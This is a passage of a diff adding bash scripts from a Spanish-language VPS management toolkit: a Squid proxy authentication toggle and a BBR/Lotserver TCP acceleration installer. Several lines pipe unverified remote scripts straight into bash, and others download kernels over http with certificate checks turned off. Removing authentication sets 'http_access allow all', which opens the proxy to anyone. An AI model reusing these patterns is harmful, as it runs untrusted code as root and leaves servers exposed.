+echo -e " \033[1;36mDesintalando Dependencias:"
+rm -rf /usr/bin/squid_log1
+fun_bar 'apt-get remove apache2-utils'
+msg -bar
+cat $config_ | grep -v '#Password' > $tmp_arq
+mv -f $tmp_arq $config_ 
+cat $config_ | grep -v '^auth_param.*passwd*$' > $tmp_arq
+mv -f $tmp_arq $config_ 
+cat $config_ | grep -v '^auth_param.*proxy*$' > $tmp_arq
+mv -f $tmp_arq $config_ 
+cat $config_ | grep -v '^acl.*REQUIRED*$' > $tmp_arq
+mv -f $tmp_arq $config_ 
+cat $config_ | grep -v '^http_access.*authenticated*$' > $tmp_arq
+mv -f $tmp_arq $config_ 
+cat $config_ | grep -v '^http_access.*all*$' > $tmp_arq
+mv -f $tmp_arq $config_ 
+echo -e "
+http_access allow all" >> "$config_"
+rm -f $pwd
+service $service_ restart  > /dev/null 2>&1 &
+echo -e " \033[1;31m Desautentificasion de Proxy Squid Desactivado"
+msg -bar
+} 
+else
+echo -e "${cor[3]} "Habilitar Autenfificasion de Proxy Squid?""
+read -p " [S/N]: " -e -i n sshsn
+[[ "$sshsn" = @(s|S|y|Y) ]] && {
+msg -bar
+echo -e " \033[1;36mInstalando Dependencias:"
+echo "Archivo SQUID PASS" > /usr/bin/squid_log1
+fun_bar 'apt-get install apache2-utils'
+msg -bar
+read -e -p " Tu nombre de usuario deseado: " usrn
+[[ $usrn = "" ]] && 
+msg -bar && 
+echo -e " \033[1;31mEl usuario no puede ser nulo" && 
+msg -bar && 
+return 0
+htpasswd -c $pwd $usrn
+succes_=$(grep -c "$usrn" $pwd)
+if [ "$succes_" = "0" ]; then
+rm -f $pwd
+msg -bar
+echo -e " \033[1;31m Error al generar la contraseña, no se inició la autenticación de Squid"
+msg -bar
+return 0
+elif [[ "$succes_" = "1" ]]; then
+cat $config_ | grep -v '^http_access.*all*$' > $tmp_arq
+mv -f $tmp_arq $config_ 
+if [ "$squid_" = "0" ]; then
+echo -e "#Password
+auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwd
+auth_param basic realm proxy
+acl authenticated proxy_auth REQUIRED
+http_access allow authenticated
+http_access deny all" >> "$config_"
+service squid restart  > /dev/null 2>&1 &
+update-rc.d squid defaults > /dev/null 2>&1 &
+elif [ "$squid_" = "1" ]; then
+echo -e "#Password
+auth_param basic program /usr/lib/squid3/basic_ncsa_auth /etc/squid3/passwd
+auth_param basic realm proxy
+acl authenticated proxy_auth REQUIRED
+http_access allow authenticated
+http_access deny all" >> "$config_"
+service squid3 restart > /dev/null 2>&1 &
+update-rc.d squid3 defaults > /dev/null 2>&1 &
+fi
+msg -bar
+service squid restart > /dev/null 2>&1
+echo -e " \033[1;32m PROTECCION DE PROXY INICIADA"
+msg -bar
+fi
+}
+fi 
+}
+msg -bar
+msg -tit
+msg -ama "            AUTENTIFICAR PROXY SQUID "
+msg -bar
+unset squid_log1
+[[ -e /usr/bin/squid_log1 ]] && squid_log1="\033[1;32m$(source trans -b pt:${id} "ACTIVO")"
+echo -e "${cor[2]} [1] > ${cor[3]}AUTENTIFICAR O DESAUTENTIFICAR PROXY $squid_log1"
+echo -e "${cor[2]} [0] > ${cor[4]}VOLVER"
+msg -bar
+echo -ne "\033[1;37mEscoja una Opcion: "
+read optons
+case $optons in
+0)
+msg -bar
+exit
+;;
+1)
+msg -bar
+squidpass
+;;
+esac
+#REINICIANDO VPS-MX (SQUID)
+[[ "$1" = "1" ]] && squidpass
+####_Eliminar_Tmps_####
+[[ -e $_tmp ]] && rm $_tmp
+[[ -e $_tmp2 ]] && rm $_tmp2
+[[ -e $_tmp3 ]] && rm $_tmp3
+[[ -e $_tmp4 ]] && rm $_tmp4

+ 690 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/tcp.sh

@@ -0,0 +1,690 @@
+#!/bin/bash
+#27/01/2021
+clear
+clear
+msg -bar 
+PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
+export PATH
+SCPfrm="/etc/VPS-MX/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+BARRA1="\e[0;31m————————————————————————————————————————————————————\e[0m"
+SCPinst="/etc/VPS-MX/controlador" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+#=================================================
+#	System Required: CentOS 6/7,Debian 8/9,Ubuntu 16+
+#	Description: BBR+BBRVersión mágica+BBRplus+Lotserver
+#	Version: 1.3.1
+#	Author: Mil sombras,cx9208
+#	Blog: https://www.94ish.me/
+#=================================================
+
+sh_ver="1.3.1"
+github="raw.githubusercontent.com/cx9208/Linux-NetSpeed/master"
+
+Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m"
+Info="${Green_font_prefix}[Informacion]${Font_color_suffix}"
+Error="${Red_font_prefix}[Error]${Font_color_suffix}"
+Tip="${Green_font_prefix}[Atencion]${Font_color_suffix}"
+
+#Instalar el núcleo BBR
+installbbr(){
+	kernel_version="4.11.8"
+	if [[ "${release}" == "centos" ]]; then
+		rpm --import http://${github}/bbr/${release}/RPM-GPG-KEY-elrepo.org
+		yum install -y http://${github}/bbr/${release}/${version}/${bit}/kernel-ml-${kernel_version}.rpm
+		yum remove -y kernel-headers
+		yum install -y http://${github}/bbr/${release}/${version}/${bit}/kernel-ml-headers-${kernel_version}.rpm
+		yum install -y http://${github}/bbr/${release}/${version}/${bit}/kernel-ml-devel-${kernel_version}.rpm
+	elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then
+		mkdir bbr && cd bbr
+		wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u10_amd64.deb
+		wget -N --no-check-certificate http://${github}/bbr/debian-ubuntu/linux-headers-${kernel_version}-all.deb
+		wget -N --no-check-certificate http://${github}/bbr/debian-ubuntu/${bit}/linux-headers-${kernel_version}.deb
+		wget -N --no-check-certificate http://${github}/bbr/debian-ubuntu/${bit}/linux-image-${kernel_version}.deb
+	
+		dpkg -i libssl1.0.0_1.0.1t-1+deb8u10_amd64.deb
+		dpkg -i linux-headers-${kernel_version}-all.deb
+		dpkg -i linux-headers-${kernel_version}.deb
+		dpkg -i linux-image-${kernel_version}.deb
+		cd .. && rm -rf bbr
+	fi
+	detele_kernel
+	BBR_grub
+	msg -bar
+	echo -e "${Tip} Después de reiniciar el VPS, vuelva a ejecutar el script para abrir\n${Red_font_prefix} BBR/BBR Versión mágica${Font_color_suffix}"
+	msg -bar
+	stty erase '^H' && read -p "Debe reiniciar el VPS antes de poder habilitar BBR, reiniciar ahora. ? [Y/n] :" yn
+	[ -z "${yn}" ] && yn="y"
+	if [[ $yn == [Yy] ]]; then
+		echo -e "${Info} VPS se reinicia ..."
+		reboot
+	fi
+}
+
+#Instale el núcleo BBRplus
+installbbrplus(){
+	kernel_version="4.14.129-bbrplus"
+	if [[ "${release}" == "centos" ]]; then
+		wget -N --no-check-certificate https://${github}/bbrplus/${release}/${version}/kernel-${kernel_version}.rpm
+		yum install -y kernel-${kernel_version}.rpm
+		rm -f kernel-${kernel_version}.rpm
+		kernel_version="4.14.129_bbrplus" #fix a bug
+	elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then
+		mkdir bbrplus && cd bbrplus
+		wget -N --no-check-certificate http://${github}/bbrplus/debian-ubuntu/${bit}/linux-headers-${kernel_version}.deb
+		wget -N --no-check-certificate http://${github}/bbrplus/debian-ubuntu/${bit}/linux-image-${kernel_version}.deb
+		dpkg -i linux-headers-${kernel_version}.deb
+		dpkg -i linux-image-${kernel_version}.deb
+		cd .. && rm -rf bbrplus
+	fi
+	detele_kernel
+	BBR_grub
+	msg -bar
+	echo -e "${Tip} Después de reiniciar el VPS, vuelva a ejecutar el script para abrir\n${Red_font_prefix} BBRplus${Font_color_suffix}"
+	msg -bar
+	stty erase '^H' && read -p "Debe reiniciar el VPS antes de poder habilitar BBRplus, reiniciar ahora ? [Y/n] :" yn
+	[ -z "${yn}" ] && yn="y"
+	if [[ $yn == [Yy] ]]; then
+		echo -e "${Info} VPS se reinicia ..."
+		reboot
+	fi
+}
+
+#Instale el kernel de Lotserver
+installlot(){
+	if [[ "${release}" == "centos" ]]; then
+		rpm --import http://${github}/lotserver/${release}/RPM-GPG-KEY-elrepo.org
+		yum remove -y kernel-firmware
+		yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-firmware-${kernel_version}.rpm
+		yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-${kernel_version}.rpm
+		yum remove -y kernel-headers
+		yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-headers-${kernel_version}.rpm
+		yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-devel-${kernel_version}.rpm
+	elif [[ "${release}" == "ubuntu" ]]; then
+		bash <(wget --no-check-certificate -qO- "http://${github}/Debian_Kernel.sh")
+	elif [[ "${release}" == "debian" ]]; then
+		bash <(wget --no-check-certificate -qO- "http://${github}/Debian_Kernel.sh")
+	fi
+	detele_kernel
+	BBR_grub
+	msg -bar
+	echo -e "${Tip} Después de reiniciar el VPS, vuelva a ejecutar el script para abrir\n${Red_font_prefix}Lotserver${Font_color_suffix}"
+	msg -bar
+	stty erase '^H' && read -p "Necesita reiniciar el VPS antes de poder abrir Lotserver, reiniciar ahora ? [Y/n] :" yn
+	[ -z "${yn}" ] && yn="y"
+	if [[ $yn == [Yy] ]]; then
+		echo -e "${Info} VPS se reinicia ..."
+		reboot
+	fi
+}
+
+# Habilitar BBR
+startbbr(){
+	remove_all
+	echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
+	echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
+	sysctl -p
+	echo -e "${Info}¡BBR comenzó con éxito!"
+	msg -bar
+}
+
+#Habilitar BBRplus
+startbbrplus(){
+	remove_all
+	echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
+	echo "net.ipv4.tcp_congestion_control=bbrplus" >> /etc/sysctl.conf
+	sysctl -p
+	echo -e "${Info}BBRplus comenzó con éxito!!"
+	msg -bar
+}
+
+# Compilar y habilitar el cambio mágico BBR
+startbbrmod(){
+	remove_all
+	if [[ "${release}" == "centos" ]]; then
+		yum install -y make gcc
+		mkdir bbrmod && cd bbrmod
+		wget -N --no-check-certificate http://${github}/bbr/tcp_tsunami.c
+		echo "obj-m:=tcp_tsunami.o" > Makefile
+		make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc
+		chmod +x ./tcp_tsunami.ko
+		cp -rf ./tcp_tsunami.ko /lib/modules/$(uname -r)/kernel/net/ipv4
+		insmod tcp_tsunami.ko
+		depmod -a
+	else
+		apt-get update
+		if [[ "${release}" == "ubuntu" && "${version}" = "14" ]]; then
+			apt-get -y install build-essential
+			apt-get -y install software-properties-common
+			add-apt-repository ppa:ubuntu-toolchain-r/test -y
+			apt-get update
+		fi
+		apt-get -y install make gcc
+		mkdir bbrmod && cd bbrmod
+		wget -N --no-check-certificate http://${github}/bbr/tcp_tsunami.c
+		echo "obj-m:=tcp_tsunami.o" > Makefile
+		ln -s /usr/bin/gcc /usr/bin/gcc-4.9
+		make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc-4.9
+		install tcp_tsunami.ko /lib/modules/$(uname -r)/kernel
+		cp -rf ./tcp_tsunami.ko /lib/modules/$(uname -r)/kernel/net/ipv4
+		depmod -a
+	fi
+	
+
+	echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
+	echo "net.ipv4.tcp_congestion_control=tsunami" >> /etc/sysctl.conf
+	sysctl -p
+    cd .. && rm -rf bbrmod
+	echo -e "${Info}¡La versión mágica de BBR comenzó con éxito!"
+	msg -bar
+}
+
+# Compilar y habilitar el cambio mágico BBR
+startbbrmod_nanqinlang(){
+	remove_all
+	if [[ "${release}" == "centos" ]]; then
+		yum install -y make gcc
+		mkdir bbrmod && cd bbrmod
+		wget -N --no-check-certificate https://raw.githubusercontent.com/chiakge/Linux-NetSpeed/master/bbr/centos/tcp_nanqinlang.c
+		echo "obj-m := tcp_nanqinlang.o" > Makefile
+		make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc
+		chmod +x ./tcp_nanqinlang.ko
+		cp -rf ./tcp_nanqinlang.ko /lib/modules/$(uname -r)/kernel/net/ipv4
+		insmod tcp_nanqinlang.ko
+		depmod -a
+	else
+		apt-get update
+		if [[ "${release}" == "ubuntu" && "${version}" = "14" ]]; then
+			apt-get -y install build-essential
+			apt-get -y install software-properties-common
+			add-apt-repository ppa:ubuntu-toolchain-r/test -y
+			apt-get update
+		fi
+		apt-get -y install make gcc-4.9
+		mkdir bbrmod && cd bbrmod
+		wget -N --no-check-certificate https://raw.githubusercontent.com/chiakge/Linux-NetSpeed/master/bbr/tcp_nanqinlang.c
+		echo "obj-m := tcp_nanqinlang.o" > Makefile
+		make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc-4.9
+		install tcp_nanqinlang.ko /lib/modules/$(uname -r)/kernel
+		cp -rf ./tcp_nanqinlang.ko /lib/modules/$(uname -r)/kernel/net/ipv4
+		depmod -a
+	fi
+	
+
+	echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
+	echo "net.ipv4.tcp_congestion_control=nanqinlang" >> /etc/sysctl.conf
+	sysctl -p
+	echo -e "${Info}¡La versión mágica de BBR comenzó con éxito!"
+	msg -bar
+}
+
+# Habilitar Lotserver
+startlotserver(){
+	remove_all
+	if [[ "${release}" == "centos" ]]; then
+		yum install ethtool
+	else
+		apt-get update
+		apt-get install ethtool
+	fi
+	bash <(wget --no-check-certificate -qO- https://github.com/MoeClub/lotServer/raw/master/Install.sh) install
+	start_menu
+}
+
+# Desinstalar toda la aceleración
+remove_all(){
+	rm -rf bbrmod
+	sed -i '/net.core.default_qdisc/d' /etc/sysctl.conf
+    sed -i '/net.ipv4.tcp_congestion_control/d' /etc/sysctl.conf
+    sed -i '/fs.file-max/d' /etc/sysctl.conf
+	sed -i '/net.core.rmem_max/d' /etc/sysctl.conf
+	sed -i '/net.core.wmem_max/d' /etc/sysctl.conf
+	sed -i '/net.core.rmem_default/d' /etc/sysctl.conf
+	sed -i '/net.core.wmem_default/d' /etc/sysctl.conf
+	sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf
+	sed -i '/net.core.somaxconn/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_tw_recycle/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_keepalive_time/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_rmem/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_wmem/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_mtu_probing/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf
+	sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf
+	sed -i '/net.core.somaxconn/d' /etc/sysctl.conf
+	sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf
+	if [[ -e /appex/bin/lotServer.sh ]]; then
+		bash <(wget --no-check-certificate -qO- https://github.com/MoeClub/lotServer/raw/master/Install.sh) uninstall
+	fi
+	clear
+	echo -e "${Info}:La aceleración está Desinstalada."
+	sleep 1s
+}
+
+#Optimizar la configuración del sistema
+optimizing_system(){
+	sed -i '/fs.file-max/d' /etc/sysctl.conf
+	sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf
+	sed -i '/net.core.somaxconn/d' /etc/sysctl.conf
+	sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf
+	sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf
+	echo "fs.file-max = 1000000
+fs.inotify.max_user_instances = 8192
+net.ipv4.tcp_syncookies = 1
+net.ipv4.tcp_fin_timeout = 30
+net.ipv4.tcp_tw_reuse = 1
+net.ipv4.ip_local_port_range = 1024 65000
+net.ipv4.tcp_max_syn_backlog = 16384
+net.ipv4.tcp_max_tw_buckets = 6000
+net.ipv4.route.gc_timeout = 100
+net.ipv4.tcp_syn_retries = 1
+net.ipv4.tcp_synack_retries = 1
+net.core.somaxconn = 32768
+net.core.netdev_max_backlog = 32768
+net.ipv4.tcp_timestamps = 0
+net.ipv4.tcp_max_orphans = 32768
+# forward ipv4
+net.ipv4.ip_forward = 1">>/etc/sysctl.conf
+	sysctl -p
+	echo "*               soft    nofile           1000000
+*               hard    nofile          1000000">/etc/security/limits.conf
+	echo "ulimit -SHn 1000000">>/etc/profile
+	read -p "Después de aplicar la configuracion al VPS necesita reiniciar, reiniciar ahora ? [Y/n] :" yn
+	msg -bar 
+	[ -z "${yn}" ] && yn="y"
+	if [[ $yn == [Yy] ]]; then
+		echo -e "${Info} Reinicio de VPS..."
+		reboot
+	fi
+}
+# Script de actualización
+Update_Shell(){
+	echo -e "La versión actual es [ ${sh_ver} ],Empieza a detectar la última versión..."
+	sh_new_ver=$(wget --no-check-certificate -qO- "http://${github}/tcp.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1)
+	[[ -z ${sh_new_ver} ]] && echo -e "${Error} Error al detectar la última versión !" && start_menu
+	if [[ ${sh_new_ver} != ${sh_ver} ]]; then
+		echo -e "Descubre nueva versión[ ${sh_new_ver} ],Ya sea para actualizar?[Y/n]"
+		read -p "(Por defecto: y):" yn
+		[[ -z "${yn}" ]] && yn="y"
+		if [[ ${yn} == [Yy] ]]; then
+			wget -N --no-check-certificate http://${github}/tcp.sh && chmod +x tcp.sh
+			echo -e "El script ha sido actualizado a la última versión.[ ${sh_new_ver} ] !"
+		else
+			echo && echo "	Cancelado ..." && echo
+		fi
+	else
+		echo -e "Actualmente la última versión[ ${sh_new_ver} ] !"
+		sleep 5s
+	fi
+}
+
+# Menú de inicio
+start_menu(){
+clear
+msg -bar
+msg -tit
+echo -e "    TCP Aceleración (BBR/Plus) VPS-MX By @Kalix1\n                         ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix}
+$(msg -bar)
+ ${Green_font_prefix}0.${Font_color_suffix} Script de actualización
+————————————Gestión del Núcleo————————————
+ ${Green_font_prefix}1.${Font_color_suffix} Instalación BBR/BBR Kernel Mágico
+ ${Green_font_prefix}2.${Font_color_suffix} Instalación BBRplus Kernel 
+ ${Green_font_prefix}3.${Font_color_suffix} Instalación Lotserver Kernel (Velocidad Aguda)
+————————————Gestión Acelerada————————————
+ ${Green_font_prefix}4.${Font_color_suffix} Usar BBR Aceleración
+ ${Green_font_prefix}5.${Font_color_suffix} Usar BBR Velocidad de revisión mágica
+ ${Green_font_prefix}6.${Font_color_suffix} Usar BBR Aceleración Violenta de revisión mágica
+ ${Green_font_prefix}7.${Font_color_suffix} Usar BBRplus Aceleración
+ ${Green_font_prefix}8.${Font_color_suffix} Usar Lotserver (Velocidad Brusca) Aceleración
+————————————Manejo misceláneo————————————
+ ${Green_font_prefix}9.${Font_color_suffix} Desintalar Todas las Aceleraciones
+ ${Green_font_prefix}10.${Font_color_suffix} Optimización de la configuración del sistema.
+ ${Green_font_prefix}11.${Font_color_suffix} Salir del script
+————————————————————————————————" && msg -bar
+
+	check_status
+	if [[ ${kernel_status} == "noinstall" ]]; then
+		echo -e " Estado actual: ${Green_font_prefix}No instalado\n${Font_color_suffix} Kernel Acelerado ${Red_font_prefix}Por favor, instale el Núcleo primero.${Font_color_suffix}"
+	else
+		echo -e " Estado actual: ${Green_font_prefix}Instalado\n${Font_color_suffix} ${_font_prefix}${kernel_status}${Font_color_suffix} Kernel Acelerado, ${Green_font_prefix}${run_status}${Font_color_suffix}"
+		
+	fi
+msg -bar
+read -p " Por favor ingrese un número [0-11]:" num
+case "$num" in
+	0)
+	Update_Shell
+	;;
+	1)
+	check_sys_bbr
+	;;
+	2)
+	check_sys_bbrplus
+	;;
+	3)
+	check_sys_Lotsever
+	;;
+	4)
+	startbbr
+	;;
+	5)
+	startbbrmod
+	;;
+	6)
+	startbbrmod_nanqinlang
+	;;
+	7)
+	startbbrplus
+	;;
+	8)
+	startlotserver
+	;;
+	9)
+	remove_all
+	;;
+	10)
+	optimizing_system
+	;;
+	11)
+	exit 1
+	;;
+	*)
+	clear
+	echo -e "${Error}:Por favor ingrese el número correcto [0-11]"
+	sleep 5s
+	start_menu
+	;;
+esac
+}
+############# Componentes de gestión del núcleo #############
+
+# Eliminar kernel redundante
+detele_kernel(){
+	if [[ "${release}" == "centos" ]]; then
+		rpm_total=`rpm -qa | grep kernel | grep -v "${kernel_version}" | grep -v "noarch" | wc -l`
+		if [ "${rpm_total}" > "1" ]; then
+			echo -e "Detectado ${rpm_total} El resto del núcleo, comienza a desinstalar ..."
+			for((integer = 1; integer <= ${rpm_total}; integer++)); do
+				rpm_del=`rpm -qa | grep kernel | grep -v "${kernel_version}" | grep -v "noarch" | head -${integer}`
+				echo -e "Comience a desinstalar${rpm_del} Kernel ..."
+				rpm --nodeps -e ${rpm_del}
+				echo -e "Desinstalar ${rpm_del} La desinstalación del núcleo se ha completado, continúa ..."
+			done
+			echo --nodeps -e "El núcleo se desinstala y continúa ..."
+		else
+			echo -e " El número de núcleos detectados es incorrecto, ¡por favor verifique!" && exit 1
+		fi
+	elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then
+		deb_total=`dpkg -l | grep linux-image | awk '{print $2}' | grep -v "${kernel_version}" | wc -l`
+		if [ "${deb_total}" > "1" ]; then
+			echo -e "Detectado ${deb_total} El resto del núcleo, comienza a desinstalar ..."
+			for((integer = 1; integer <= ${deb_total}; integer++)); do
+				deb_del=`dpkg -l|grep linux-image | awk '{print $2}' | grep -v "${kernel_version}" | head -${integer}`
+				echo -e "Comience a desinstalar ${deb_del} Kernel ..."
+				apt-get purge -y ${deb_del}
+				echo -e "Desinstalar ${deb_del} La desinstalación del núcleo se ha completado, continúa ..."
+			done
+			echo -e "El núcleo se desinstala y continúa ..."
+		else
+			echo -e " El número de núcleos detectados es incorrecto, ¡por favor verifique!" && exit 1
+		fi
+	fi
+}
+
+#Actualizar arranque
+BBR_grub(){
+	if [[ "${release}" == "centos" ]]; then
+        if [[ ${version} = "6" ]]; then
+            if [ ! -f "/boot/grub/grub.conf" ]; then
+                echo -e "${Error} /boot/grub/grub.conf No encontrado, verifique."
+                exit 1
+            fi
+            sed -i 's/^default=.*/default=0/g' /boot/grub/grub.conf
+        elif [[ ${version} = "7" ]]; then
+            if [ ! -f "/boot/grub2/grub.cfg" ]; then
+                echo -e "${Error} /boot/grub2/grub.cfg No encontrado, verifique."
+                exit 1
+            fi
+            grub2-set-default 0
+        fi
+    elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then
+        /usr/sbin/update-grub
+    fi
+}
+
+#############Componente de gestión del kernel#############
+
+
+
+#############Componentes de detección del sistema#############
+
+#Sistema de inspección
+check_sys(){
+	if [[ -f /etc/redhat-release ]]; then
+		release="centos"
+	elif cat /etc/issue | grep -q -E -i "debian"; then
+		release="debian"
+	elif cat /etc/issue | grep -q -E -i "ubuntu"; then
+		release="ubuntu"
+	elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then
+		release="centos"
+	elif cat /proc/version | grep -q -E -i "debian"; then
+		release="debian"
+	elif cat /proc/version | grep -q -E -i "ubuntu"; then
+		release="ubuntu"
+	elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then
+		release="centos"
+    fi
+}
+
+#Verifique la versión de Linux
+check_version(){
+	if [[ -s /etc/redhat-release ]]; then
+		version=`grep -oE  "[0-9.]+" /etc/redhat-release | cut -d . -f 1`
+	else
+		version=`grep -oE  "[0-9.]+" /etc/issue | cut -d . -f 1`
+	fi
+	bit=`uname -m`
+	if [[ ${bit} = "x86_64" ]]; then
+		bit="x64"
+	else
+		bit="x32"
+	fi
+}
+
+#Verifique los requisitos del sistema para instalar bbr
+check_sys_bbr(){
+	check_version
+	if [[ "${release}" == "centos" ]]; then
+		if [[ ${version} -ge "6" ]]; then
+			installbbr
+		else
+			echo -e "${Error} BBR El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+		fi
+	elif [[ "${release}" == "debian" ]]; then
+		if [[ ${version} -ge "8" ]]; then
+			installbbr
+		else
+			echo -e "${Error} BBR El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+		fi
+	elif [[ "${release}" == "ubuntu" ]]; then
+		if [[ ${version} -ge "14" ]]; then
+			installbbr
+		else
+			echo -e "${Error} BBR El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+		fi
+	else
+		echo -e "${Error} BBR El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+	fi
+}
+
+check_sys_bbrplus(){
+	check_version
+	if [[ "${release}" == "centos" ]]; then
+		if [[ ${version} -ge "6" ]]; then
+			installbbrplus
+		else
+			echo -e "${Error} BBRplus El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+		fi
+	elif [[ "${release}" == "debian" ]]; then
+		if [[ ${version} -ge "8" ]]; then
+			installbbrplus
+		else
+			echo -e "${Error} BBRplus El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+		fi
+	elif [[ "${release}" == "ubuntu" ]]; then
+		if [[ ${version} -ge "14" ]]; then
+			installbbrplus
+		else
+			echo -e "${Error} BBRplus El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+		fi
+	else
+		echo -e "${Error} BBRplus El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+	fi
+}
+
+
+#Verifique los requisitos del sistema para instalar Lotsever
+check_sys_Lotsever(){
+	check_version
+	if [[ "${release}" == "centos" ]]; then
+		if [[ ${version} == "6" ]]; then
+			kernel_version="2.6.32-504"
+			installlot
+		elif [[ ${version} == "7" ]]; then
+			yum -y install net-tools
+			kernel_version="3.10.0-327"
+			installlot
+		else
+			echo -e "${Error} Lotsever No es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+		fi
+	elif [[ "${release}" == "debian" ]]; then
+		if [[ ${version} = "7" || ${version} = "8" ]]; then
+			if [[ ${bit} == "x64" ]]; then
+				kernel_version="3.16.0-4"
+				installlot
+			elif [[ ${bit} == "x32" ]]; then
+				kernel_version="3.2.0-4"
+				installlot
+			fi
+		elif [[ ${version} = "9" ]]; then
+			if [[ ${bit} == "x64" ]]; then
+				kernel_version="4.9.0-4"
+				installlot
+			fi
+		else
+			echo -e "${Error} Lotsever No es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+		fi
+	elif [[ "${release}" == "ubuntu" ]]; then
+		if [[ ${version} -ge "12" ]]; then
+			if [[ ${bit} == "x64" ]]; then
+				kernel_version="4.4.0-47"
+				installlot
+			elif [[ ${bit} == "x32" ]]; then
+				kernel_version="3.13.0-29"
+				installlot
+			fi
+		else
+			echo -e "${Error} Lotsever No es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+		fi
+	else
+		echo -e "${Error} Lotsever No es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1
+	fi
+}
+
+check_status(){
+	kernel_version=`uname -r | awk -F "-" '{print $1}'`
+	kernel_version_full=`uname -r`
+	if [[ ${kernel_version_full} = "4.14.129-bbrplus" ]]; then
+		kernel_status="BBRplus"
